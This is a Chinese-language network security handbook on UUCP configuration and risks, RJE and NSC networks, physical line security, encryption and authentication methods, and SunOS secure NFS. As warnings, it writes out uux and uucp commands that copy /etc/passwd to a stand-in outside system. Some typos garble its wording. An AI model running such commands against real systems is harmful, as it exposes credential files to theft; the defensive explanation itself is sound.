网络安全手册

网络安全手册

    本文主要讨论网络和数据通讯安全,分为六个部分.第一部分概述最大,最老的UNIX网络UUCP系 统;第二部分讨论UUCP的安全;第三部分讨论新HONEY DANBER UUCP及安全特点;第四部分讨论其它的UNIX网络,其中包括RJE和 NSC;第五部分讨论通讯的物理安全;最后一部分讨论Sun Microsystem公司的Sun OS系统的网络安全.

1.UUCP系统概述
    UUCP系统是一组程序,完成文件传输,执行系统之间的命令,维护系统使用情况的统计,保护安全.UUCP是UNIX系统最广泛使用的网 络实用系统,这其中在两个原因:第一,UUCP是各种UNIX版本都可用的唯一的标准网络系统,第二,UUCP是最便宜的网络系统.只需要一根电缆连接两 个系统,然后就可建立UUCP.如果需要在相距数百或数千公里远的两个系统间传输数据,中需要两个具有拨号功能的调制解调器.

(1)UUCP命令
    UUCP命令之一是uucp,该命令用于两系统间的文件传输,uucp命令格式类似于cp命令的格式,只是uucp允许用户有系统间拷贝文件,命令的一般格式如下:
uucp source_file destination_file source_file通常是本系统的文件(但不必一定是),destination_file通常是另一系统的文件或目录.指定destination_file的格式为:
system!filename或system!directory.uucp给系统管理员提供了一个选项,可以限制传入和传出本系统的uucp 文件只能传到/usr/spool/uucppublic目录结构中.若告诉uucp将传输的文件存放在其他目录中,系统将会送回一个邮 件:remote access to path / file denied. uucp允许以简化符号~代替/usr/spool /uucppublic/.如:
uucp names remote!~/john/names
有时也可用uucp将文件从另一个系统拷贝到本系统,只要将要传入本系统的文件指定为源文件(用system!file)即可,如:uucp remotes!/usr/john/file1 file1
如果在远地机限制了文件传输的目录,上条命令不能拷贝到文件.拷贝文件到本系统的最安全的方法是:在两个系统上都通过uucppublic目录进行文件传输:
uucp remotes!~/john/file1 ~/pat/file1

(2)uux命令
    uux命令可用于在另一个系统上执行命令,这一特点称为"远程命令仞行".uux最通常的用处是在系统之间发送邮件(mail在其内部执行uux).典型的uux请求如下:
pr listing| uux - "remote1!lp -d pr1"
这条命令将文件listing格式编排后,再连接到系统remote1的打印机pr1上打印出来.uux的选项"-"使uux将本命令的标准输入设备建立为远程命令的标准输入设备.当若干个系统中只有一个系统连接了打印机时,常用uux打印文件.
当然必须严格地限制远程命令招待,以保护系统安全.如:本系统不应允许其它系统上的用户运行下面的命令:uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)"
这条命令将使本系统传送/etc/passwd文件到系统outside上,一般地,只有几条命令允许地执行.rmail是加限制的mail程 序,常常为允许通过uux执行的命令之一.也允许rnews(加限制的netnews伪脱机命令)在运行netnews的系统上执行,还允许lp在提供了 打印设备的系统上运行.
3)uucico程序
    uucp和uux命令实际上并不调用另一个系统及传送文件和执行命令,而是将用户的请求排入队列,并启动uucico程序.uucico 完成实际的通讯工作.它调用其它的系统,登录,传送数据(可以是文件或请求远程命令执行).如果电话线忙,或其它系统已关机,传输请求仍针保留在队列 中,uucico后续的职能操作(通常是cron完成)将发送这些传输请求.uucico完成数据的发送和接收.在本系统的/etc/passwd文件 中,有其它系统的uucico登录进入本系统的入口项,该入口项中指定的缺省shell是uucico.因此,其它系统调用本系统时,直接与uucico 对话.

(4)uuxqt程序
    当另一系统的uucico调用本系统请求远程命令执行时,本系统的uucico将该请求排入队列,并在退出之前,启动uuxqt程序执行 远程命令请求.下面举例说明数据是如何传输的.假设本系统的一个用户发送邮件给另一远程系统remote1的某人,mail会执行uux,在 remote1系统上远程地运行remail程序,要传送的邮件为remail命令的输入.uux将传输请求排入队列,然后启动uucico招待实际的远 程调用和数据传输.如果remote1响应请求,uucico登录到remote1,然后传送两个文件:邮件和将在remote1上由uuxqt执行的 uux命令文件.uux命令文件中含有运行remail请求.如果remote1在被调时已关机,uucico
则将无法登和传送文件,但是cron会周期地(1小时)启动uucico.uucico查找是否有还未传送出的数据,若发现uux指定的传输目 标系统是remote1,就尝试再调用remote1,直到调通remote1为止,或者过了一定天数仍未调通remote1,未送出的邮件将作为"不可 投递"的邮件退回给发送该邮件的用户.
2.UUCP的安全问题
    UUCP系统未设置限制,允许任何本系统外的用户执行任何命令和拷贝进/出uucp用户可读/写的任何文件.在具体的uucp应用环境中应了解这点,根据需要设置保护.
    在UUCP中,有两个程序处理安全问题.第一个是uucico程序,该程序在其它系统调用本系统时启动.这个程序是本系统uucp安全的关键,完成本系统文件传输的传进和传出.第二个程序是uuxqt,该程序为所有的远程命令执行服务.

(1)USERFILE文件
    uucico用文件/usr/lib/uucp/USERFILE确定远程系统发送或接收什么文件,其格式为:
login,sys[c] path_name [path_name...]
其中login是本系统的登录名,sys是远程系统名,c是可选的call_back标志,path_name是目录名.
    uucico作为登录shell启动时,将得到远程系统名和所在系统的登录名,并在USERFILE文件中找到匹配login和sys的 行.如果该行含有call_back标志c,uucico将不传送文件,连接断开,调用远程系统(即,任何系统可以告诉本系统它的名是xyz,于是本系统 挂起,调用实际的xyz执行文件传输),若无c,uucico将执行远程系统请求的文件传送,被传送的文件名被假定为以path_name开头的.
用户需要了解以下几点:
  . 如果远程系统使用的登录名未列于USERFILE的登录域中,uucico将拒绝允许其它系统做任何事,并挂起.. 如果系统名未列于 sys域中,uucico将使用USERFILE中有匹配的登录名和空系统名的第一行,如:nuucp,/usr/spool/uucppublic应用 到作为nuucp登录的所有系统.cbuucp,c将迫使作为cbuucp登录的所有系统自己执行文件传输的请求.若调用系统名不匹配sys系统中的任何 一个,并且无空入口项,uucico也将拒绝做任何事.
  . 若两个机器都设置了call_back标志,传送文件的请求决不会被执行,两个系统一直互相调用,直到两个系统中的一个取消call_back时,才能进行文件传送.
  . 如果一个用户的登录名列于USERFILE文件的login域中,则当调用本系统的uucico为该用户传送文件时,uucico只传送 至path_name指定的目录中的文件.空登录名用于所有未明确列于USERFILE文件中的用户进行登录.所以pat,/usr/pat只允许pat 传送/usr/pat目录结构中的文件.,/usr/spool/uucppublic /tmp其他用户仅允许传送目录/usr/spool /uucppublic和/tmp中的文件.
    不要允许uucico将文件拷进/出到除了/usr/spool/uucppublic目录以外的其它任何目录,否则可能会有人用下面的命令拷贝走本系统的重要信息:
uucp yoursys!/etc/passwd to-creep
(2)L.cmds文件
    uuxqt利用/usr/lib/uucp/L.cmds文件确定要执行的远程执行请求命令.该文件的格式是每行一条命令.如果只需uuxqt处理电子邮件,该文件中就只须一行命令:rmail
系统管理员可允许登录用户执行netnews(rnews)的命令或远程打印命令(lp),但决不能允许用户执行拷贝文件到标准输出的命令,如 cat命令或网络命令uucp,否则这些人只需在他们自己的系统上敲入:uux "yoursys!uucp yoursys!/etc /passwd (outside!~/passwd)"然后就可等待本系统发送出命令文件.

(3)uucp登录
    UUCP系统需要两个登录户头,一个是其它系统登录的户头,另一个是系统管理使用的户头.例如,数据传输登录户头是nuucp,管理登录 户头是uucp,则在/etc/passwd文件中应当有二行.UID和GID的5号通常留给uucp,由于uucico具有管理登录的SUID许可,因 此nuucp户头的UID和GID应当用其它值.

(4)uucp使用的文件和目录
    /usr/lib/uucp用于存放不能由用户直接运行的各种uucp,如uuxqt和uucico.该目录还含有若干个确定uucp如 何操作的文件,如L.cmds和USERFILE.这些文件只能对uucp管理户头可写(系统管理员一定不愿让用户更改远程可执行命令表):根据安全的观 点,该目录中另一个系统管理员必须清楚的文件是L.sys.该文件中含有uucico能调用的每个系统的入口项.入口项数据包括uucico所调用系统的 电话号码,登录名,未加密的口令.不用说,L.sys应当属于uucp管理户头所有,且应当具有400或600存取许可.
    uucp用/usr/spool/uucp目录存放工作文件.文件名以C.开头的文件是送到其它系统的命令文件,含有在其它系统上拷入 /出数据和执行命令的请求.文件名以D.开头的文件用作C.文件的数据文件.文件名以X.开头的文件是来自其它系统的远程执行请求,由uuxqt解释.文 件名以TM.开始的文件是从其它系统传送数据到本系统过程中uucp所使用的暂存文件.XQTDIR是uuxqt用于执行X.文件的目录.LOGFILE 可有助于管理uucp的安全,它含有执行uucp请求成功与否的信息.系统管理员可时常查看该文件,了解有哪些系统正登录入本系统执行uucp请求?是什 么请求?特别要检查这些请求是否试图做不允许的操作。


其它网络

(1)远程作业登录(RJE)
    RJE(remote job entry)系统提供了一组程序及相应的硬件,允许UNIX系统与IBM主机上的 JES(job entry subsystems)通讯.可通过两条命令的send和usend存取RJE.send命令是RJE的通用的作业提供程 序,它将提供文件给JES,就好像这些作业文件是从卡片阅读机读入的"穿孔卡片"一样.usend命令用于在使用了RJE系统的UNIX系统间传送文件, 它将建立一个"作业"(虚拟的一叠穿孔卡片),并以send命令的送文件的同样方式将该作业提供给JES.该作业卡片叠中的控制卡告诉JES数据传送到何 处(这里,数据是正被传送的文件).文件传送的目的地是UNIX系统,但JES认为是一个"行式打印机".RJE系统通常以每秒9600位的速率与JES 通讯.典型的usend命令句法如下:
usend -d system -u login file(s)
system是挂到IBM JES上的另一个UNIX系统名,login是另一个系统上的接收用户的登录名,file(s)是用户希望传送的文件.
几个关于RJE的安全问题:
  . 缺省时,RJE将把文件传送到接收用户的HOME目录中的rje目录.该目录必须对其他人可写,可执行,这意味着存入rje目录的文件易 受到检查,移动,修改.然而如果该目录的许可方式是733,其他用户就不能用ls列目录内容寻找感兴趣的文件.被建立的文件对所有者,小组或其他人都是可 读的,所以通过RJE网络传送的安全文件在系统上都是可读的.为什么这些问题不同于UUCP和/usr/uucppublic目录?
* UUCP定期地清除/usr/spool/uucppublic目录的内容,几天前或几星期前的老文件将被删除,通常用户将把自己的文件移 出uucppublic目录,以免文件被删除,而存在用户rje目录中的文件不会被清除,所以有些用户从来不把自己的文件移到其它目录.
* 用户清楚地知道uucppublic目录是一个公共目录,存入重要信息之前,首先注意将其加密.但是用户却总是容易忘记自己rje目录实际上也是公共目录,经常忘记将重要文件加密.
  . usend命令在其他人可写的目录中建立文件,并重写其他人可写的文件.. RJE服务子程序是执行一些功能而不是执行文件传送.RJE 系统像UUCP一样也执行远程命令,运行RJE的大多数系统用远程命令执行转送电子邮件.因为RJE的传输率通常比UUCP更高.遗憾的是RJE没有像 UUCP那样的能力限制能执行的命令和能存取的文件.一个好的经验是将连接到同一个JES的一组系统,看作这些系统是在同一系统上.

(2)NSC网络系统
    NSC(network systems corporation)宽信道网络是一个高速局域网络(LAN).NSC可将数千个最远相距 5000英尺的系统挂在一起,传输速率可高达50MBIT/S,NSC也可通过的通讯如微波或人造卫星通讯线连接不同系统.UNIX用户可通过 nusend命令存取NSC宽信道,nusend命令的句法与usend命令相同,除用-c选项传送其他人不可存取的文件外,大多数情况下,nusend 的用法与usend是一样的,换言之,如果无-c选项,文件就是可读的,而且文件路径名中列出所有目录对其他人也都是可搜索的,前边讨论过的关于RJE的 安全问题的考虑也适合于NSC网络.可查看NSC记录文件,了解NSC是否正在执行任何不应执行的命令.记录文件保存在目录/usr/nsc/log中. 下面的命令将打印出所有由NSC在本系统上执
行的命令(rmail除外):
grep execute /usr/nsc/log/LOGFILE|grep -v rmail
5.通讯安全
    有两种方法可以提供安全的通讯:第一种是保证传输介质的物理安全,即使任何人都不可能在传输介质上接上自己的窃密线或"窃听",第二种方法是加密重要数据.

(1)物理安全
    如果所有的系统都锁在屋里,并且所有连接系统的网络和接到系统上的终端都在上锁的同一屋内,则通讯与系统一样安全(假定没有MODEM).但是系统的通讯线在上锁的室外时,就会发生问题了.
    尽管从网络通讯线提取信息所需要的技术,比从终端通讯线获取数据的技术高几个数量级,上述的同样的问题也倒发生在网络连接上.用一种简单 的(但很昂贵)高技术加压电缆,可以获得通讯的物理安全.这一技术是若干年前,为美国国家电话系统而发展的.通讯电缆密封在塑料中,埋置于地下,并在线的 两端加压.线上连接了带有报警器的监示器,用来测量压力.如果压力下降,则意味电缆可能破了,维修人员将被派出寻找与修复出问题的电缆.
    电缆加压技术提供了安全的通讯线.不是将电缆埋置于地下,而是架线于整座楼中,每寸电缆都将暴露在外.如果任何人企图割电缆,监示器会 启动报警器,通知安全保卫人员电缆已被破坏.如果任何人成功地在电缆上接了自己的通讯线,安全人员定期地检查电缆的总长度,应可以发现电缆拼接处.加压电 缆是屏蔽在波纹铝钢包皮中的,因此几乎没有电磁发射,如果要用电磁感应窃密,势必需用大量可见的设备.
    这样终端就不必锁在办公室,而只需将安全电缆的端头锁在办公室的一个盒子里.
    另一个增加外部终端物理安全的方法,是在每天下午5点使用计算机的时间结束时,即当所有用户回家时,断开终端的连接.这样某人若想非法进 入系统,将不得不试图在白天人们来来回回的时间里获取终端的存取权,或不得不在下午5点手试图潜入计算机房(如果5点后计算机房有操作人员或有安全人员, 潜入计算机房的企图就不可能得逞).
    光纤通讯线曾被认为是不可搭线窃听的,其断破处立即可被检测到,拼接处的传输会令人难以忍耐的缓慢.光纤没有电磁幅射,所以也不能用电 磁感应窃密.不幸的是光纤的最大长度有限制,长于这一长度的光纤系统必须定期地放大(复制)信号.这就需要将信号转换成电脉冲,然后再恢复成光脉冲,继续 通过另一条线传送.完成这一操作的设备(复制器)是光纤通讯系统的安全薄弱环节,因为信号可能在这一环节被搭线窃听.有两个办法可解决这一问题:距离大于 最大长度限制的系统间,不要用光纤线通讯(目前,网络覆盖范围半径约100公里),或加强复制器的安全(用加压电缆,警报系统,警卫).
(2)加密
    加密也可提高终端和网络通讯的物理安全,有三种方法加密传输数据:
. 链接加密:在网络节点间加密,在节点间传输加密,传送到节点后解密,不同节点对间用不同的密码.
. 节点加密:与链接加密类似,不同的只是当数据在节点间传送时,不用明码格式传送,而是用特殊的加密硬件进行解密和重加密,这种专用硬件通常旋转在安全保险箱中.
. 首尾加密:对进入网络的数据加密,然后待数据从网络传送出后再进行解密.网络本身并不会知道正在传送的数据是加密数据.这一方法的优点是,网 络上的每个用户(通常是每个机器的一个用户)可有不同的加密关键词,并且网络本身不需增添任何专门的加密设备.缺点是每个系统必须有一个加密设备和相应的 软件(管理加密关键词).或者每个系统必须自己完成加密工作(当数据传输率是按兆位/秒的单位计算时,加密任务的计算量是很大的).
    终端数据加密是一特殊情况,此时链接加密法和首尾加密法是一样的方法,终端和计算机都是既为节点又为终止端点.通讯数据加密常常不同于 文件加密,加密所用的方法不应降低数据的传送速度.丢失或被歪曲了的数据不应当引起丢失更多的数据位,即解密进程应当能修复坏数据,而不能由于坏数据对整 个文件或登录进行不正确地解密.对于登录会话,必须一次加密一个字节,特别是在UNIX系统的情况下,系统要将字所返回给用户,更应一次加密一个字节.在 网络中,每一链可能需要不同的加密关键字,这就提出了对加密关键词的管理,分配和替换问题.DES传送数据的一般形式是以代入法密码格式按块传送数据,不 能达到上述的许多要求.DES采用另一加密方法,一次加密一位或一个字节,形成密码流.
密码流具有自同步的特点,被传送的密码文本中发生的错误和数据丢失,将只影响最终的明码文本的一小段(64位).这称为密码反馈.在这种方法 中,DES被用作虚拟随机数发生器,产生出一系列用于对明码文本的随机数.明码文本的每n位与一个DESn位的加密输出数进行异或,n的取值为 1-64,DES加密处理的输入是根据前边传送的密码文本形成的64位的数值.
    发n为1时,加密方法是自同步方式:错一位或丢失1位后,64位的密码文本将不能被正确地解密,因为不正确的加密值将移入DES输入的末端.但是一旦接收到正确的64位密码,由于DES的加密和解密的输入是同步的,故解密将继续正确地进行.
    DES的初始输入称为种子,是一个同时由传输器和接收器认可的随机数.通常种子由一方选择,在加密前给另一方.而加密关键词不能以明码格 式通过网络传送,当加密系统加电时在两边都写入加密关键词,并且在许多阶段期间加密关键词都保持不变,用户可以选择由主关键词加密的阶段关键词,发送到数 据传送的另一端,当该阶段结束后,阶段关键词就不再使用了.主关键词对用户是不可见的,由系统管理员定期改变,选择哪一种关键词管理方法,常由所用的硬件 来确定.如果加密硬件都有相应的设备,则用种子还是用主关键词阶段关键词是无关紧要的.
(3)用户身份鉴别
    口令只是识别一个用户的一种方法,实际上有许多方法可以用来识别用户.. CALL BACK MODEM:则维护系统有效用户表及其相 应电话号码的设备.当用户拨号调用系统时,CALL BACK MODEM获得用户的登录户头,挂起,再回头调用用户的终端.这种方法的优点是,限制只有 电话号码存于MODEM中的人才是系统的用户,从而使非法侵入者不能从其家里调用系统并登录,这一方法的缺点是限制了用户的灵活性,并仍需要使用口令,因 为MODEM不能仅从用户发出调用的地方,唯一地标识用户.
  . 标记识别:标记是口令的物理实现,许多标记识别系统使用某种形式的卡(如背面有磁条的信用卡),这种卡含有一个编码后的随机数.卡由连 接到终端的阅卡机读入,不用再敲入口令.为了增加安全性,有的系统要求读入卡和敲入口令.有些卡的编码方法使得编码难于复制.标记识别的优点是,标识可以 是随机的并且必须长于口令.不足之处是每个用户必须携带一个卡(卡也可与公司的徽记组合使用).并且每个终端上必须连接一个阅读机.
  . 一次性口令:即"询问-应答系统".一次性口令系统允许用户每次登录时使用不同的口令.这种系统允许用户每次登录时使用不同的口令.这 种系统使用一种称做口令发生器的设备,设备是手携式的(大约为一个袖珍计算器的大小),并有一个加密程序和独一的内部加密关键词.系统在用户登录时给用户 提供一个随机数,用户将这个随机数送入口令发生器,口令发生器用用户的关键词对随机数加密,然后用户再将口令发生器输出的加密口令(回答)送入系统,系统 将用户输入的口令,与它用相同的加密程序,关键词和随机数产生的口令比较,如果二者相同,允许用户存取系统.这种方法的优点是:用户可每次敲入不同的口 令,因此不需要口令保密,唯有口令发生器需要安全保护.为了增加安全性,UNIX系统甚至不需联机保存关键词,实际的关键词可保存在有线连接于系统的一个 特殊加密计算机中.在用户登录期间,加密计算机将为用户产生随机数和加密口令.这样一种系统的优点是,口令实际不由用户输入,系统中也不保存关键词,即使 是加密格式的关键词也可保存于系统中.其不足之处类似于标记识别方法,每个用户必须携带口令发生器,如果要脱机保存关键词,还需要有一个特殊硬件.
  . 个人特征:有些识别系统检测如指印,签名,声音,零售图案这倦的物理特征.大多数这样的系统极是实验性的,昂贵的,并且不是百分之百的可靠.任何一个送数据到远程系统去核实的系统有被搭线窃
听的危险,非法入侵者只须记录下送去系统校核的信息,以后再重显示这些信息,就能窃密.注意:这同样也是标记识别系统的一个问题.
6.SUN OS系统的网络安全
    美国SUN MICROSYSTEM公司的SUN OS操作系统是建立在贝尔实验室的UNIX SYSTEM V和加州大学伯克得分校的 UNIX 4.3基础上的UNIX操作系统.SUN OS 4.0版提供了专门的鉴别系统,该系统极大地提高了网络环境的安全性.它也可用来确保其它 UNIX系统或非UNIX系统的安全.它使用DES密码机构和公共关键字密码机构来鉴别在网络中的用户和机器.DES表示数据编码标准,而公共数据编码机 构
是包含两种密钥的密码系统:一种是公用的,另一种是专用的.公用的密钥是公开的而专用密钥是不公开的.专用(秘密)的密钥用来对数据进行编码和 解码.SUN OS系统不同于其它公共关键字编码之系统在于:SUN OS的公用和专用密钥都被用来生成一个通用密钥,该密钥又用来产生DES密钥.

(1)确保NFS的安全
    在网络文件系统NFS上建立安全系统,首先文件系统必须开放并保证装配的安全.
  . 编辑/etc/exports文件,并将-Secure任选项加在要使用DES编码机构的文件系统上.在屏幕上显示服务器怎样开放安全的 /home目录,如:home -Secure,access=engineering其中engineering是网络中唯一能存取/home文件系统 的用户组.
  . 对于每台客户机(CLIENT),编辑/etc/fastab文件时,Secure将作为一个装配任选项出现在每个需要确保安全的文件系统中.
  . SUN OS中包括有/etc/publickey数据库,该库对每个用户均包含有三个域:用户的网络名,公用密钥和编码后的密钥.当正 常安装时X唯一的用户是nobody,这个用户可以无需管理员的干预即可建立自己的专用密钥(使用chkey(1)).为了进一步确保安全,管理员可为每 个使用newkey(8)的用户建立一个公用密钥.
  . 确认keyserv(8c)进程由/etc/rc.local启动,并且仍在运行.该进程执行对公用密码的编码,并将编码后的专用密钥 存入/etc/keystore中.. 此时,所有的用户(除超级用户)都必须使用yppasswd来代替passwd,以使得登录的口令与用户的密钥一 致.其结果是在网络中每台客户机的/etc/passwd文件中不能有每个用户的用户名,因而应使用有缺省值的/etc/passwd文件.
  . 当安装,移动或升级某台机器时,要将/etc/keystore和/etc/.rootkey两个文件保留.
注意:当你使用login,rlogin或telnet命令到远程机器时,你会被要求输入口令.一旦你输入正确的口令,你也就泄漏了你的帐号.因 为此时你的密钥是存放在/etc/keystore中.当然这是指用户对远程机器的安全不信任时.如果用户觉得远程机器在安全保密方面不可靠,那就不要登 录到远程机器去,而可使用NFS来装配你所查找的文件.